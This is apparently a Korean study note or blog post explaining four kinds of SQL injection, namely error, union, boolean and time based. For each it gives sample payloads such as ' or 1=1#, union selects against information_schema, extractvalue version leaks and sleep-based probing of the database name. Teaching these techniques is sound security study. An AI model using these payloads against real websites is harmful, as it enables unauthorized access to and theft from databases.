SQL Injection

웹 사이트의 입력란, 파라미터에 악의적인 쿼리문을 삽입하여 DB를 해킹하는 공격기법

 

공격 유형

  Error Based Union Based Boolean Based Time Based
설명 오류를 발생시키는 쿼리문을 삽입해서 발생하는 오류 구문을 통해 필요한 정보를 습득 2개 이상의 쿼리를 요청하여 결과를 얻는 Union 연산자를 삽입해서 공격 참, 거짓을 출력하는 페이지에서 쿼리를 조작하여 공격 쿼리문의 참, 거짓에 따라 응답시간을 다르게 설정하여 공격
공격 구문 extractvalue(xml_frag, xpath_expr)# union select 1,column_name,3 from information_schema.columns# ' or 1=1#
' or 1=0#
' or 1=1 and sleep(2)#

 

공격 유형 분석

Error Based SQL Injection

extravtvalue(XML,XPath)

  • 인자 값에는 xml과 XPath 표현식이 필요하고 표현식에 일치하는 데이터를 추출해서 반환해주는 함수
  • 이 함수를 SQL쿼리에 사용하면 쿼리의 실행 결과가 오류 메세지에 포함되는 것을 악용한 공격
SELECT extractvalue(1,concat(0x3a,version())); ##DB 버전 확인을 위한 쿼리문

 

 

Union Based SQL Injection

union

  • 전제조건 : 컬럼의 갯수가 같아야 하고 데이터 형식도 같아야 한다.
  • UNION이란 둘 이상의 쿼리문에서 검색된 레코드를 단일 집합으로 결합해주는 연산자
  • 칼럼 수를 일치시킬 때까지 테스트해가면서 칼럼수를 알아낸 후 UNION 공격 수행
' union select all 1,table_name,3,4 from information_schema.table#

 

 

Boolean Based SQL Injection

  • 참, 거짓 정보를 도출하는 SQL 쿼리문을 삽입하여 DB 정보를 탈취하는 공격
' or 1=1# 참일 경우의 메시지 확인
' or 1=0# 거짓인 경우 메시지 확인
' order by 숫자# 같은 원리로 칼럼 갯수 찾기
' or 1=1 and length(database())=숫자# 같은 원리로 DB 이름 길이 찾기

 

 

Time Based SQL Injection

  • sleep()함수를 이용하여 참, 거짓을 알아내는 공격
  • sleep()함수를 넣어 참이면 대기시간을 갖고 거짓이면 동작하지 않도록 하여 참과 거짓을 구분 
' or 1=1 and sleep(2)# 참이면 2초간 대기
' or 1=1 and length(database()) = 숫자 and sleep(2)# 데이터베이스 길이 확인
' or 1=1 and substring(database(),1,1)='문자'and sleep(2)# DB명 첫 글자 확인
' or 1=1 and substring(database(),2,1)='문자'and sleep(2)# DB명 두번째 글자 확인

 

 

 


웹 페이지와 DB의 정보를 확인 후 SQL Injection 공격 시도하는 경우보다 봇을 이용한 SQL Injection 공격을 자주 시도하기 때문에 공격유효성이 존재하는 SQL Injection 공격은 흔치않다.

+ Recent posts